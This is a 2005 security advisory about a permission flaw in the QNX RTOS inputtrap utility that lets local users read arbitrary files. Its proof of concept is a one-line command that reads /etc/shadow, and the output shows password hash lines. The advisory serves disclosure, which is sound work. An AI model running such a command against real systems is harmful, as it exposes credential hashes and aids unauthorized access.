[NEWS] QNX RTOS inputtrap Arbitrary File Reading

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QNX RTOS inputtrap Arbitrary File Reading
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SUMMARY

" <http://www.qnx.com/> QNX Neutrino realtime operating system (RTOS) sets
the industry standard for reliability, fault tolerance, and scalability."

"inputtrap - Detect input devices and start the input manager."

Lack of proper permission checking allows local attackers to retrieve
information from files used by inputtrap.

DETAILS

Vulnerable Systems:
* QNX RTOS version 6.3
* QNX RTOS version 6.1.0

Due to improper permissions checking, inputtrap allows administrative
access to files anywhere in the disk.

Proof of Concept:
$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table

Disclosure Timeline:
22 Feb 2005: Vulnerability detected
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.

ADDITIONAL INFORMATION

The information has been provided by <mailto:julio@rfdslabs.com.br> Julio
Cesar Fort.
The original article can be found at:
<http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt>
http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt

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